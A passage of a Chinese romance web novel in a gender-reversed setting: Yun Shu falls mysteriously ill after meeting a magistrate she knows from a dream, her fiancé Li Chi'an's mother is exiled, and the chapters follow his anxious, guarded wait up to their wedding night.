“听你父亲说,再过不久就要成婚了。”谢真有些感慨,“你若不愿意,自然也有能拒绝的法子。” “祖母多想了,若是不愿意,便会拒绝。” 谢真犹豫了一下,“这件事到底有风险。” 她的话语未尽,但也不好说出来。 好处的确有,也不必为了莫须有的脸面,又不是没有人选择赘婿入仕途 “只是仕途可能有些影响而已。”云竖接着说道。 “你碰到昭鹤了吗?”谢真转了一个话题。 “碰到了,如今同我在翰林。” 谢真又沉默下来,“你如今已经站队,今后言语还是要小心一点。” 接着,两人都没在说这些事情。 一个侍从站在屏风外,“家主,新上任的扬州知县来了。” “扬州知县”云竖疑惑。 “科举过后,这里的知县被调走了,就来了新的,叫柳全,你听过吗?” 柳全。 云竖微微抿唇,“不知道。” 不知道有没有听过。 可能听过,但是忘了。 “要随我见一见吗?昨日不登门,偏巧今天就上门了。”谢真道,“想来是要来见你。” “见一面吧。”云竖说道。 谢真只是笑了笑,出声让侍从把柳全领到堂前。 两人起身走去堂前。 两人刚坐下,云竖就看到了柳全。 第一眼,云竖便不喜,甚至厌恶,排戏。 认为她贼眉鼠眼,浑身的投机取巧。 她很快知道自己这个情绪的缘由。 这家伙是袁桉的姘头。 是梦里的那个……知县。 突然意识到这点,云竖慢慢睁大眼睛,心脏都落空一拍,看过去。 她的瞳孔豁然收缩,眉宇微微拧起,带着冷戾。 不过是几秒的时间,云竖很快收了起来,敛眸不再去看她。 柳全没有看到,刚进门就急于低头看一眼自己的衣袍,怕留下不好的印象。 “山长,云学士。” 柳全俯身行揖问好,态度极为热忱。 谢真见云竖不感兴趣,也将话题揽在了自己身上。 “书院今年多招了很多人,知县若是有空可以去看看,说不定有些人可以帮你。” 谢真说道。 柳全想要同云竖说话,“听说云学士也是就读在璇山书院,不知道云学士怎么看” 谢真喝了一口茶,“今天这茶不错,柳大人喝一口吧,不然凉了就不行了,听说柳大人的故乡是个茶县,想来对这个很了解吧。” 柳全耐着脾气道,“虽说如此,我因课业而鲜少回家,倒是对书体颇感兴趣,听说云学士的书体曾受过圣上称赞……” 云竖缓缓说道,“没有这个听说。” …… 那天回去后。 一连过了几日。 这日冷清清的。 尤其是这个院子里。 早上,侍从跟往常一样来到屋外,却久等不到女君的传唤。 他们连忙去将汛蓝喊过来。 讯蓝在厨房准备女君的早食,听到他们的话,连忙推门进去查看。 屋内一如昨晚一样,没有什么变动。四处昏暗,有些冷清。 光线顺着推开的门照进来,只有那一处地方有些亮。 厚重的帷幔将床榻上的人遮的严严实实。 女君还没起来。 这太不正常了。 有时候女君起得比他们还早。 讯蓝没有退出去,而是小心翼翼地出声。 “女君,可要继续睡吗?” 他等了一会儿,没有听到声音。 讯蓝有些疑惑,甚至开始猜测。 女君怎么了? 他大着胆子上前掀开帷幔,有些不清楚眼前的情况。 女君躺在床榻上,一动不动,眼睛紧闭。 荒唐的想法出现在汛蓝脑海里,他忙不迭地出声叫喊着,叫大夫过来。 他带着慌张,想要叫醒女君,可女君好似沉睡了一般,如何也叫不醒。 只是身上格外滚烫。 讯蓝无比肯定女君定然是得了风 寒。 他想着,昨日是那股风吹了进来。 女君怎么会得风寒呢? 屋内的人开始手忙脚乱起来,不知道该干什么,也不知道怎么办,只是大脑乱哄哄的,只能干焦急。 不一会儿,大夫被请了过来。 她伸手把脉,又观看女君面容,随即微微蹙眉。 她起身去写了药方,“先试试。” “女君这是怎么了?” “并非寒气入体,倒像是心病。”她猜测道。 身体症状毫无转醒的意图。 像又不像,只是突然睡着了,但是没有一直要醒过来的痕迹。 偏偏身体又在发烫。 一直发烫可不是什么好的情况。 极有可能醒来后就成了傻子,若是不醒,那就是死亡。 “让家主做好准备。”她叹了一口气。 汛蓝懵了,“什么做好准备什么意思?女君怎么了?这不是好好的吗?” “那去请别的大夫过来看看吧,多几个人说不定就行了。” 她顿了顿,把药方收回来。 讯蓝对于大夫的话是一个字都不信。 接着,他让人去告知家主和主君,又让人再去请大夫。 几日后。 屋内阴暗奢靡,死气沉沉,带着一丝颓废,蜡烛的余光照亮了半拢着的帷幔。 屋内都是浓郁的药味,不知道是连躺了几日的缘故,床上的人变得有些清瘦起来。 云父眼睛都要哭瞎了,他撑着身子坐在屏风外,声音低低地。 “再不济,试试冲喜吧。” 他的声音极低。 像是在说悄悄话一样。 “可时间来不及了。” 云父折起自己的衣袖,声音都是抖的,“不是那个,是偷偷娶一门进来,就在这里,现下就去挑一个,明晚就娶进来。持安会谅解的。” “是侍夫还是正君” 云父沉默了一下,“是正君。” 侍夫能有什么用。 他只有云竖一个女儿,若是她没了,他也活不下去。 这到底是怎么回事?怎么就如此了呢? 他不明白,他的命怎么会这么差?生不出第二个孩子,如今唯一的孩子还躺着床上。 那声音低低的,交流声像是衣袖摩擦一般出现在云竖耳边。 她睁不开眼睛。 直到屋内没了人,不,没了声音。 即便无法睁开眼睛,云竖也能感受到头顶上是厚重的帷幔,披散开,像棺材一样,把她拢在里面。 她骤然粗喘起来,呼吸沉重急促,睁开的眼睛直直地盯着上面的帷幔。 谁是女主呢? 谁是男主呢? 她要娶男主吗? 云竖想着,怎么可能是她娶呢? 她怎么可能娶男主呢? 即便娶了,也不会是她的。后面也会离开,不是她死了,就是和离了。 原身的确喜欢,连带着她也一并喜欢。 书中开篇就是男主家道中落,任人欺凌,身份低微,嫁给昭鹤后也是受尽委屈,谁都能欺负,随后原以为遇到了心上人,要死要活地要和离,却被心上人嫌弃,沦落乞丐,被女主姚妗捡起来,转嫁给她。 生了五个孩子为结局。 原身死得透透的,若是还活着,说不定也能去分一勺羹。 “女君醒来了,快去叫大夫过来,快去叫主君过来。” 突然进来的侍从连忙出声大喊。 他跑出去,抱着怀中的盆,跑到回廊处大喊。 汛蓝赶过来,连忙进了屋。 一炷香的功夫后。 屋内密闭昏暗,药味浓郁无处不在,几乎将锦衾也腌上了味。 窗户依然紧闭着,纱幔遮住了窗户处的光线。 屋内点着碳火,厚重的帘子将外面的风挡得严严实实,时不时能听到外面珠子的碰撞声。 坐靠在床头的女人披着月白的外袍,眉眼温和安静。 “父亲,我没事了,只是睡了三天而已。” 云父用帕子擦着眼泪,“真没事了?还有哪里不舒服” “真没事了,父亲回去歇息吧,明日我再去见父亲。” 临近除夕,云父有很多事情要做,再加上离开一个月的账本要检查,这三天几乎什么都没有做,只是待在屋内哭。 他眼睛红肿着,检查完她后,见她真的没事,这才愿意起身。 云父绕过屏风出门后,面容恢复过来。 他走到长廊处,抬眸看着眼前的一切。 “昨日找的那位,拿点银钱打发掉。切莫让旁人知道那件事。” 院子里摆着红绸,四处都是喜庆的颜色。 “把这些都撤下来,不要让子漾看到了。让那几个侍夫,和府上的侍从嘴巴都严实一点,若有人说漏半个字,我要了他的舌头。” 他声音很冷,完全不像刚刚在屋内的温柔。 旁边的侍从连忙应下来。 婚事还是一个月多的时间,这次虽然荒唐,但也不能让李家的人知道。 子漾心仪那位,若是真完了,岂不是要责怪他。 第52章 第52章是不是好生养的身子 荒唐的冲喜被掩盖得很好,没有人提及,甚至尽量躲着女君。 云竖不知道,其他人也当作没发生。 除夕那夜。 云竖收到了来自京都的信、手帕、香囊,还有一个素色发簪。 信上的言语带着极致的柔软,依恋,还有羞怯。 她想,这或许只是一时的假象,他立马就会揭开真实的模样,投入其他人的怀里。 李随会被判处什么呢? 以至于李持安会任人欺凌,在故事里是如此的可怜。 云竖将信折叠起来,夹在书里。 她的确相信脑子里的记忆,也相信他将会被其他人掠夺而离开。 但什么时候开始那个剧情呢?李随何时会被处置 明天,一个月,还是一年 云竖记得,是在冬天。 会在这个时候吗? …… “怎么提前回去了?不是还有几天吗?” 云父微微皱眉,看着屋内正在收拾行李的侍从,“你把汛蓝也带过去吧,他待在你身边最长。” “不用了,那边也有侍从。”云竖摇头,“父亲可晚些来,再说,那些东西都已经准备好了。” “好吧。”云父不再多说什么。 一大早,行李被送到了码头,行李并不多。 云竖是乘船过去的,不过两三日的功夫就可以到达京都。 船上中途停了下来,以供其他人上船下船。 码头很热闹,人来人往,都牢牢地抱着自己的包袱以防止被人抢走。 这个时候,云竖从屋内出来透风,就听到刚从港口上来的人的低声讨论。 她们倒吸一口气,说着刚刚听到的消息,既幸灾乐祸又羡慕嫉妒。 不少官吏行巫风,淫风,乱风之罪被处墨刑,沉溺酒歌,狩猎不休,蔑视圣人。 往上看,世族的一些人已恶为掠美,贪已败官而被处死刑,其中为首的官员李随被处流刑。 云竖心里咯噔了一下。 处流刑 被派偏远之地 还未成婚,云竖自然不会受什么影响,那李持安呢? “这是什么时候的事情”女人走上前问道。 “应该有一两日了。”其中一个人想了想,顺势就说了出来,“我们能听到,自然也得两日左右。” “闹得很大啊,诶……肯定多出了很多官位吧,真羡慕啊。”另外一个人说道,“再过几天,说不定都知道了,听说那些官员很快就下狱了,贪得无厌,不事生产,尤其是那些世族。” 问话的云竖微微蹙眉,有些焦急起来。 这么快吗?流放之事,应该不会那么快。 李家后面有很多世族,李持安的父亲又是皇家宗室,想来不会不管李持安。 但是被波及的人很广呢?没人敢帮呢? 流刑一般为四年,期满便可回原籍。其中若有人周旋,也能探亲,也可在它处定居,或者圣上大婚,灾异大赦。 可圣上已有君后,君后却未有所出,宫中只有一位皇女。 还有一天才能到达京都。 船已经开始前行。 云竖抬眸 看着远离的码头,面色有些沉。 或许不会出什么意外。 …… “公子,已经让人打理好了。” 李持安从屋内走出来,带着面纱,声音低低地,有些焦急,“现在就去吧,免得到时候那些人又反悔了。” 守在门口的侍卫看了,连忙上去询问未来主君要去哪里,要不要人跟着。 上马车后他垂着眸安安静静坐在那,身上很是素净。 淞朱小声问道,“公子要告知女君吗?不写信回去吗?即便这样了,公子还是要嫁给女君的。” 后面只能仰仗女君了。 淞朱得庆幸公子还未成婚,也庆幸公子早早订亲,有人所依靠,不至于随便让人欺负了去。 女君的那些朋友也暗地里给他们走了关系,否则怎么可能有机会去见家主。 家主下狱前,便将赘婿的契纸反转了过来,以至于公子不必被抓走,只需要老老实实等着嫁人即可。 府上的那些银钱都无法动用,奴仆被遣散,公子也被赶了出来。 赶出来时,公子只穿着薄薄的衣裙,攥着婚书和玉佩,什么也没有带。 就连制好的婚服也得重新绣。 李持安微微抿唇,有些哭肿的眼睛缓慢眨了眨,“还告知什么,反正她来了也会知道的。她会不会后悔娶我,会不会到时候要悔婚” 母亲将婚书塞给了他,让他好生收敛脾气,让他对女君百依百顺。 婚书也被他放在了屋内,现在的住处也是云家提供的。 如今母亲出了意外,没有人愿意帮他,都对他避之不及,但到底还有云竖做他的妻主,没有对他做什么事情,也没有人特意来刁难他。 可万一女君知晓了,会嫌弃他呢?京都谁的身份都比他高,随意寻了男子也比他有用处。哪里是顺从不顺从的事情,他都可能没办法嫁进去。 淞朱拿帕子轻轻擦拭公子的脸,“女君的性情,公子也知晓,怎么可能会后悔呢?” 他嗒嗒地流着眼泪,哭得一点声音都没有,眉宇间皆是不安惊惶。 她不娶他,他也怪不了她。 只要熬过这四年,母亲就回来了,他也能去寻母亲。 马车的外表做的朴素,也怕引人注目。 接着,马车停了下来。 孟昂在门口等着,见他下来,便带着他往里面走。 “一炷香后就得出来,不然会有人进去赶人。”孟昂提示道。 “云竖也快回来了,之后的事情她都会处理,你不必来来回回跑。”都是无用功。 孟昂把后面那句话撤回,说完就示意他进去。 李持安微微点头表示感谢,脚步加快走了进去。 里面昏暗阴冷,被关着的人十分沉默,像是没有骨头一样坐在那,一动不动的,只有那双眼睛还在转着。 他不敢看四周,只跟着领路的人。 锁链相互撞击着,发出哗啦的声响。 “母亲……”他声音低低地,带着哭腔,漂亮的眼眸皆是不安。 “云竖回来了?”李随第一句话问道。 他顿了顿,只摇头不说话。 “等母亲四年,如今好好待在云竖身边,她若欺负你了,你也忍住。”李随嘱咐道。 她没有让他去寻那些什么亲戚,怕他去了就被留下,吃得骨头都不剩。 “我为你偷偷置办了一些铺面地契,都是以旁的名义办的,都放在城郊处你父亲墓前的树下,你去找出来,也好给自己傍身。”李随看着自己的儿子,穿得如此素净,甚至还瘦了许多,显然受了不少委屈。 “你不用去寻那些人。”李随缓慢道,“只是四年而已。” “那我能去找母亲吗?” “好好待在云竖身边。”她微微皱眉,“她能护着你,你收好自己的脾性,能忍就忍,不能忍也给我忍住,绝不能来找我。” 若来找她,怕是半路就没了影子。 “若她不要我了呢?”他盯着母亲,声音委屈。 本想着,即便是他选错了人,他还能让母亲处理后面的问题。 可如今呢?哪里还有试错的成本,嫁过去了却只能忍着,还要担心女君会不会不要他。 “不要说胡话了。”听到他的话,李随有些疲惫,身体瞬间垮了下来,“不要在云竖面前说这些话,别让她有机会说这些。” “你现在要做的事情,就是不择手段地抓牢她。”她厉声道,带着狠意,“现下只有她能护着你。” 若没人护着,持安甚至等不了四年。 一个尚且年轻貌美的男子,曾经是贵卿,有得人动歹意,有得人纵容,甚至有意欺辱。 跑到哪里都没用。 如今持安既可以嫁给心仪之人,又能平平安安地活着,不用去担忧那些吃穿和住行,除了可能受点委屈,对比可能发生的意外,这点委屈不值一提,已经是现在最好的结果。 云竖品性不错,绝不是那种人,定然会好好护住持安。 也不必担心持安嫁进去后会被搓磨,被后宅的事务给吞了。 一炷香的时间很快大,李持安被赶了出来,抬着袖子遮住自己的半张脸,眼睛哭得格外红。 父亲没了,眼下母亲也要离开。 守在外面的孟昂见人出来,没有多说什么,只是出声让他上马车,不要在这里久留。 淞朱连忙上前把公子扶了马车。 上马车后,李持安就伏在靠枕上哭了起来,肩膀颤抖着,连着越发纤细的腰身也跟着发抖。 淞朱哑着声音安慰公子,“女君就要回来了,公子到时候找女君说,女君定然会帮公子的。” 李持安的脸变得潮红濡湿,漂亮的眼睛湿透了,整个人看上去既惶恐又无助可怜。 仿佛谁来哄骗一下,就能被骗走。 对啊,他还有女君。 他还能依靠她,她定然不会抛弃自己。 回到府上,李持安便被扶到了屋内。 来不及赶制嫁衣,李持安便疲惫地昏睡过去。 翌日早晨。 院里的侍从端来热水,伺候正君起床。 他偷偷地看着坐在那的正君,像是没有骨头一样,身体柔软得很,露出来的肌肤滑腻白皙,那双漂亮湿润的眼睛看人更是要把魂也勾过去。 他听其他人说了,正君是世族的贵卿,天生的娇贵,不久就要嫁给女君,要好好伺候着,别让人跑了。 要让人时时跟在旁边,也不要让正君出门。 不由得,他又看向正君的腰腹,那里细细的,又看向正君的腰下。 想着正君是不是好生养的身子,婚后会给女君生几个孩子。 正君如此高贵,定然要多生几个,以免浪费了身份。 他们在京都待着,见多了世族的权势,对其保留着天然的向往和嫉妒。 可如今不一样了,女君成了学士,还娶了世族的贵卿,铺子也不必怕得罪其他铺子,出来的时候也不必担心自己会不会得罪人。 第53章 第53章婚前 李持安被扶起来,浑身的无力。 洗漱过后,他倚靠在软榻上,也不愿吃早食,只先缓着身子。 他睁着眼睛怔怔地盯着挂起来的婚服,一个月的时间是不可能绣好的。 甚至绣不了三分之一。 眼下,只能去买一件婚服回来,自己再绣几针当作自己绣的。 他有些惶恐,惶恐自己的后半辈子。 屋内并不如李持安之前住的屋子,甚至简陋,没有昂贵的瓷器,没有珠宝,也没有随处可见的宝石。 这是临时安排的住宅,还没来得及休整,也没来得及调换家具。 厚重的帘子外,淞朱掀开帘子走了进来,语气带着欢喜,“女君回来了,现下正在前厅。” 李持安慌慌张张地坐到铜镜前,整理着自己的发髻,见脸色过于苍白,又敷了粉抹了胭脂充当气色。 他披上裘衣,小跑着到了前厅,看到女君的身影,骤然委屈了起来。 听见动静,交谈的两人停了下来。 云竖看过去,还未说话,他小跑着过来扑到了她的怀里,不顾之前的矜持和端庄。 旁的侍从看到了,连忙低头。 他颤抖着,埋在她怀里,仿佛这样子就能得到她所有的怜惜。 云竖轻轻抱着他,示意旁边的人退下去。 他似乎瘦了一些。 “别怕。”她温和道。 她帮他拢紧身上的裘衣,伸手握住他的手,发现他的手格外冰凉后,便没松开。 “我 在路上已经知道了,后面的事情不用担忧,好好在这待着,想要什么,就跟我说,其他东西我都会备好,什么都不用去想。” 他微微仰起头,露出那张滞留着不安和惶恐的脸,“女君还会娶我的,是吗?” 云竖敛眸盯着他这副难得又可怜的模样,“会娶你。”反正你都是要被娶的,为什么不能是她。 姚妗如今的身份可不敢娶李持安。 云竖抬手抚摸着他的脸,罕见地觉得这副模样让人喜欢。 这是很少见的,这种神情不该出现在世族贵卿的脸上,如此地无助可怜,而不是任意妄为和倨傲。 像是被扒去了毒牙的蛇一般,毫无任何威胁。 只能被她关在屋内,床榻上,没有任何人能够帮他。 她的指腹慢慢擦拭着他脸庞的眼泪,“怎么穿得这么少听侍从说,你今早上没有吃东西。” 见他不想说话,云竖轻轻捏着他的手指,“回去换一身衣裳过来,别着凉了。” “女君今天会住在这吗?” “我明天也会来。”云竖说道。 他微微抿唇,“女君就住一晚好不好,我害怕。” 薄薄的袖子里露出的手臂白的亮眼,像是热烘烘的牛奶一般,柔软无骨,带着温热,粘人般得攀在女君的脖颈处。 他突然埋在她怀里哭了起来,声音低低地,像是哭累了一般,或者天生就如此隐忍。 云竖把他抱起来,随即坐在椅子上,托着他的腰身坐在自己的腿上。 怀中的人显然对此的触碰感到僵硬和不知所措。 她抬手握住他露出来的手臂,滚烫的温度骤然碰上那抹温热,李持安瑟缩了一下,想要收回来。 他怔住了,没在哭,在想她是不是有些变了。 之前他亲昵她,她都不敢碰自己,除了在船上亲过他两回,就再也没有亲过他,抱他也是轻轻回抱着,哪里敢这般握住他的手臂。 他恍惚地想到,他现在就像外室一样,被人关在这里,出行还要被阻拦,走到哪里,府上的侍从都盯着自己。 他身边只有淞朱。 李持安抬眸盯着她的神色,发现她并不像之前那般温和,带着打量和审视,冷淡,还有一些看不懂的情绪,就是没有之前的纵容和宠溺。 想到外室,他微微睁大眼睛,像是害怕一样想要收回来,却被女人握得紧紧的。 “怎么了?” 云竖慢慢拢紧他的腰,低眸见他慢慢露出害怕猜疑的神情,突然笑了笑。 只是这般就开始害怕,若是真到了成婚那日,岂不是怕得全身发抖,腿脚都用上。 她慢慢松开了他的手臂,用衣袖藏住,随后又裹紧他身上的裘衣,避免着凉。 还有一个月的时间,若是着凉了,怕是那时候又没精神。 云竖莫名觉得他身上的衣裳有些碍眼,太过素净,衬得他这张脸格外苍白,身形也有些消瘦。 “母亲将婚书给了我,说让我嫁给你。”他又有些羞耻,手指轻轻攥紧自己的衣袖,嘴唇翕动着,嗫嚅低语,“婚服嫁衣也取不出来了,我现在赶制不出来,你……你去帮我买一个回来。” 他低垂着眸,睫毛垂下落下那一小片的阴影,睫毛上还沾着泪珠,脸上敷的粉已经没了,全然落在了云竖的身上。 云竖自然知道这些,听管家说,他那时候身上什么都没有,只有婚书和一个定亲的玉佩。 那是唯二能带出来的东西。 若无人接济,怕真是要任人欺凌。 眼下待在自己的怀里的人,就像是一个金丝雀一般,只知道哭,只能待在这里,对所有的事情都无法抵抗。 云竖轻缓说道,“这些你都不用担心,回去换身衣裳,等会儿我陪你吃午饭。” 他微微吸了一口气,漆黑的眼眸内映着女人的脸,“女君会会留下来吗?我害怕……这里的人我都不认识,女君多陪陪我好不好?” “下午我要回去一趟。”云竖解释道,“处理完了,我再来陪你。” 他微微蹙眉,张了张口还是没说话。 他起身站起来,不情不愿地去了后院换衣裳。 守在门口的淞朱见公子出来,得知公子要做什么后便扶着公子回去。 半个时辰过后。 李持安穿着稍稍亮眼的衣裳过来,心情却越发难受,甚至走不了路。 他越发觉得自己像那外室,被迫穿着女人喜欢的衣裳去讨好她。 可他如今这样了,怎么会有心思去打扮自己。 她浑然不顾及他,甚至轻视他。 长廊处,珍珠耳坠轻轻打在少年的脖颈处,青丝垂散身后,模样格外安静。 刚刚的泪痕已经被擦去,只是眼睛还有些湿润。 午饭时。 李持安吃不进任何东西,尽管他早上没有吃过任何东西。 他勉强地喝了一口汤,就不愿意再动。 “吃不下吗?” 他轻轻点头,还没说就听到女人的话。 “你早上没有吃什么,现在必须得吃多一点。” 在李持安听来,女人的声音变得有些严肃,不近人情。 他面上很快露出委屈的神色,偏脸不看她。 完全把母亲的话放在了耳后。 什么隐忍,什么听话,在李持安身上完全不可能。 云竖顿了顿,只是让人再做点清爽的食物过来。 “我得回去了,若是饿了,就让他们做。” 云竖一下船就直接来了这里,行李也被人送到了府上。 听到她要走,他似乎有些惊讶,没想到她这么快就要离开。 见她起身,李持安欲言又止,顿时眼眶一酸,什么话也说不出来。 等女君走后,淞朱才敢走到公子身边。 “公子公子为何不顺着女君” 他声音低低地,“她她这样对我。” 晚间的时候,云竖的确来了一次,陪他用晚饭,便匆匆离开。 完全没有在这住一夜的想法。 …… 这几日,云竖只匆匆坐了一会儿就离开,连口茶都没有喝完。 府上的侍从像是得到了谁的指令,李持安再也没法出府,只能在府上走走。 嫁衣被一批一批送进来,又一批一批地送回去。 李持安的屋内摆放着婚礼那日要带的首饰,挑好花冠和其他配饰后,便被侍从端下去。 屋内慢慢出现了红色的丝绸,和红色的蜡烛。 就连纱幔也更换成了红色。 越临近婚期,李持安几乎看不到云竖的身影。 他去问,得到的回答就是女君在忙。 离成婚还有七日,待在屋内绣嫁衣的李持安就听到了母亲被流放的消息。 屋内点足了银碳,他只穿着白色的薄衫,披散着头发,只带了耳坠,其他的什么也没带,非常素净。 他软了身子坐在那,格外沉默。 这日,他几乎没出门,也没有吃什么东西,身形越发消瘦。 这日夜里,淞朱从外面回来,绕过屏风就看到正在低头哭的公子,连忙过去擦拭公子的眼泪。 “公子,婚前是不能流眼泪的。”他轻轻说道,“听说女君的长辈都已经过来,若是府上的侍从知道公子在哭,定然是会那些人知晓的。” 他将公子身上的丝线拿开,将公子扶起来坐在榻上。 “我打听到女君的母亲有意让公子当侧君,被女君驳了回去,女君心里定然是有公子的。”他说着,顿了顿,“听说家主流放的地方变了,离衢州很近,那个地方是个好地方,家主不会怎么样的。到时候打点一下就行。” “听那边的人说,女君早出晚归,的确很忙,想来也是忙家主的事情。公子何必哭坏了身子,到时候成婚那夜该怎么办?” 他抬起头,语气很弱,“真的吗?” “真的。”他虽然是打听,但也不会是空穴来风。 但能稳住公子就行了。 反正公子如今也走不出府门,府上的侍卫增加了很多,日里夜里防着公子跑出去。 淞朱又从怀里取出了东西,“公子如今没有人教,这是奴偷 偷去买的,免得大婚那夜败了女君的兴趣。” 李持安没看那东西,只是格外沉默。 淞朱也放在了桌子上,“管家说,再过两日就要请人过来,给公子定制成婚后的衣裳,让奴问问公子喜欢什么花样,好让公子轻松一点。” 离大婚还有七日,李持安却越发喘不过气来。 他微微攥紧自己的衣袖,慢慢吐出字来,“素净一点就好。” 第54章 第54章大婚1 大婚那日格外热闹,遍地都是红色,还有炮竹的声音。 屋内屋外都是人。 屋内都被摆满了红绸,光线晕黄,蜡烛全部被点了起来。 李持安早早被叫起来沐浴梳妆打扮,穿上嫁衣,又戴上花冠,耳坠也格外繁琐华丽。 脖颈处的金玉项链压住衣襟,嫁衣上的金丝缠绕在周身。 大红和金色将少年衬得格外白净,矜贵端庄。 他盯着铜镜里的自己,缓缓眨着眼睛,有些认不出自己。 侍长又给贵卿抹了胭脂,又让人在花冠插了几根金簪。 像个木偶一样让人打扮。 见差不多了,便让人端水来给贵卿喝。 侍长在贵卿耳边说道,“公子腰肢该软一些,女君会喜欢的,等掀开了盖头,莫要僵着脸,也不要害怕,要主动一些,千万不要让女君生气离了婚房,否则后面的日子可不好过。” 接着,他的声音微微调高,对的着屋内的侍从说道,“将公子扶到床榻上,等人来接了,就盖上盖头扶出去。” 李持安轻轻地吸了一口气,觉得身上重极了。 他想要取下一些首饰,比如发上的金簪,比如脖颈处的项链,还有手腕上的镯子。 身上的嫁衣也格外重,被扶起来时,衣摆很是沉重。 什么腰肢软一些,什么不要害羞,她若是敢出屋,他就死给她看。 屋内的侍从悄悄得看着正君,从他的脸上,又看向他的身段。 屋内很安静,没人说话。 随着外面轰然热闹起来,坐在床榻上的少年微微攥紧身上的衣裳,手指微微屈起,心脏突然跳得很快。 他要嫁人了。 他微微抿唇,还没再多看两眼,视线就被盖头遮挡。 突然被扶起来,李持安看不到前面的路,脚步踉踉跄跄的,身上的首饰也发出柔和的玎玲玎玲的声音。 淞朱呢?怎么还没有回来? 他慌张地想要抓住什么,莫名的不安让他想在屋内多待一会儿。 一出屋门,耳边的声音一下变得嘈杂起来,什么也听不清,什么也听不懂。 这里的所有人跟他什么关系都没有。 原本该有的程序直接被剪掉,比如拜见母亲,现在一出门就直接被送上轿子。 越靠近大门,声音就格外热闹。 从旁的出来的淞朱见公子出来了,连忙过去挤开那些人,扶住公子,抓住公子的手。 “公子,该上轿子了。”淞朱将糕点塞到了公子的手上。 李持安轻轻地应着,弯腰进了轿子。 轿子内,他将盖头轻轻掀上去一点,小心地将手上的糕点一口一口地吃了下去,饥饿很快消了一点。 他开始紧张起来,打量着轿子,又抬起袖子看着自己的周身。 耳边都是声音。 李持安想要去看外面是什么场景,这个想法很快就没了影子。 他之前也看过旁人成婚。 两侧站满了人,领头的人撒着果子和银子,喇叭在旁边吹着,还有人说赞礼。 李持安觉得这段路长极了,让人紧张又害怕。 他轻轻抿唇,花冠上的坠子轻轻晃着,耳坠也轻轻晃着,如春水般柔和明艳的面庞微微蹙眉,漂亮的眼眸内含着润润的一层雾。 他的手毫无意识地握紧,指尖死死掐着手心。 等轿子终于停下来,李持安连忙放下盖头,就看见盖头下伸过来的手。 他这才想到,女君一直在送亲队伍的前面。 他很快把手伸出去,站在外面的人稍稍用力,就把轿子里的人拉了出来。 他轻声叫了一下,只有自己能听到,胸腔下的心脏砰砰直跳,仿佛要从嗓子眼冒出来一样,很快嗅到了女君身上的气息。 “小心阶梯。”女人的声音从头顶传来,他下意识地抬脚,自己的手也被女人握得紧紧的,缩都缩不回来。 接着,他的手心里被塞了红绸,盖头下能看到是地面上被铺的红毯。 他几乎听不进任何声音,不断回想着侍长给自己说的那些话,下一步该如何做。 拜堂,入洞房,扔铜钱,剪头发,喝合卺酒。 在大堂看着的云翡好奇地盯着握住红绸穿着嫁衣缓步走进来的新夫,想着长姐会娶什么样的男人。 他又看向坐在最上方的母亲和主君,母亲虽然不情愿长姐娶这位新进来的新夫做正君,但也拗不过长姐。 之前不是说赘进去吗?怎么变成娶回来了? 云父盯着进来的两人,脸上止不住的笑。 如今好了,两全其美。 子漾不用入赘,还娶回来了人。虽说身份不好了,但容貌家教品性也是顶好的,定然能生下女儿好好管教。 很快地,新夫被扶进了洞房。 云竖被拦住了去路。 薛棋拉着她过来,让她喝了一大碗掺了水的酒。 旁边的同事看了,全部围了过来,直闹着要把云竖灌醉。 …… 被扶进去的新夫坐在新床上,手下是坚果铜钱,硌着手疼。 屋内的侍从进进出出,把嫁妆摆放在偏房,拿着礼单确认。 屋内放足了碳火,李持安甚至觉得有些热,好在紧绷的神经慢慢放松下来,不在那般紧张不安。 淞朱过来,轻轻掀起盖头的一角,让人给公子补胭脂。 “女君来这,应该还要几个时辰。”淞朱说道。 “让他们都下去吧。”他轻轻说道。 接着,脚步声在耳边出现,他们都退了出去,也合了门。 他等了一会儿,这才掀起盖头的一角抬眼去看。 这里会是他长久生活的地方。 他细细地看着,觉得有些眼熟,像他之前亲手布置的婚宅,虽说有些不同,但大体上差不多。 他抓起床榻上散着的坚果,和铜钱,细细看着,甚至饿得将坚果吃了下去。 不是很好吃。 李持安慢慢放松身子,觉得头上的花冠难忍,可也就只戴这几个时辰。 等女君进来,喝过合卺酒后,他就可以去沐浴,脱下身上的嫁衣,取下发上的花冠。 屋外有人敲门。 淞朱走了进来,端着汤羹,“这是女君让奴送过来的,一直在厨房里备着。” 他走过去,一边喂着公子喝,一边悄悄说道,“奴刚刚去外面转了一圈,女君如今在前厅,府上的摆设布局跟公子之前要的婚宅差不多。” 李持安吃下口中的肉丸,“是吗?” “公子不吃了吗?” 他轻轻摇头,“已经没有那么饿了。” 他晚上也没有怎么吃,一早被拉起来,既疲倦又饥饿,偏偏那些侍从说不能吃食,要饿一天。 “你去外面看看,若女君来了,便提前告知我。” 淞朱笑了两下,“女君还没有那么快来,公子想来还要在这坐上几个时辰。” 李持安微微抿唇,他当然知道,只是万一呢,万一她突然过来呢? “公子看看这个吧。”淞朱从袖子里拿出避火图,“明日公子要早早起来去敬茶,少不得被刁难。” 他言语未尽,李持安红了耳朵,眼眸更加湿润,手指轻轻拿着那避火图。 他又没做过那等子事,怎么可能是他说了算。 力气不如女君,那点挣扎说不定还会被女君认为是欲擒故纵。 他恍惚想到在船上待在女君怀里被亲的时候,也是那般任人宰割。 甚至浑身没了力气。 “你下去吧,我一个人看看。” 他的嗓音带着羞怯,甚至恼羞成怒。 等淞朱出去了,他才翻看那避火图。 原以为跟之前的一样,却比之 前更为大胆。 手上的东西险些被他扔出去,李持安不敢在看第二眼,只匆匆踢到了床下。 李持安从来没有觉得这几个时辰如此难熬。 为什么还没有来呢? 女君若是喝醉了,岂不是回来就直接躺下吗? 甚至还有可能被人扶回来。 那他怎么办? 夜里。 天色昏暗下来。 长廊处挂起了灯笼,院子里到处都是红绸。 侍从们早早备好了热水和里衣,等着主子们叫他们进去。 他们小声地讨论着,说那位正君颜色好,身段也好,难怪女君那般念念不忘。 还红着脖子讨论着,什么时候会叫他们进去。 其中一个人煞有其事道,“你们知道什么,我表姐她娶了夫,她夫郎说一,她不敢说二,她说这年头夫郎难娶,万一跑了怎么办。” 屋内。 红色的蜡烛慢慢燃烧着,烛油一层一层地堆积在琉璃盏上。 屋门突然被推开,床榻上的人微微攥紧自己的手,呼吸开始急促起来。 是女君进来了吗? 想来也该进来了。 毕竟天已经黑了。 眼前的盖头突然被掀开,他微微抬眼,就见到了站在身前穿着红色礼服的女人。 他微微抿唇,嗫嚅地喊着女君。 云竖低眸看着盖头下的少年,美艳柔软,眼尾带着一抹红,神情紧张害怕。 盖头被她彻底取了下来,云竖看到了他的全貌。 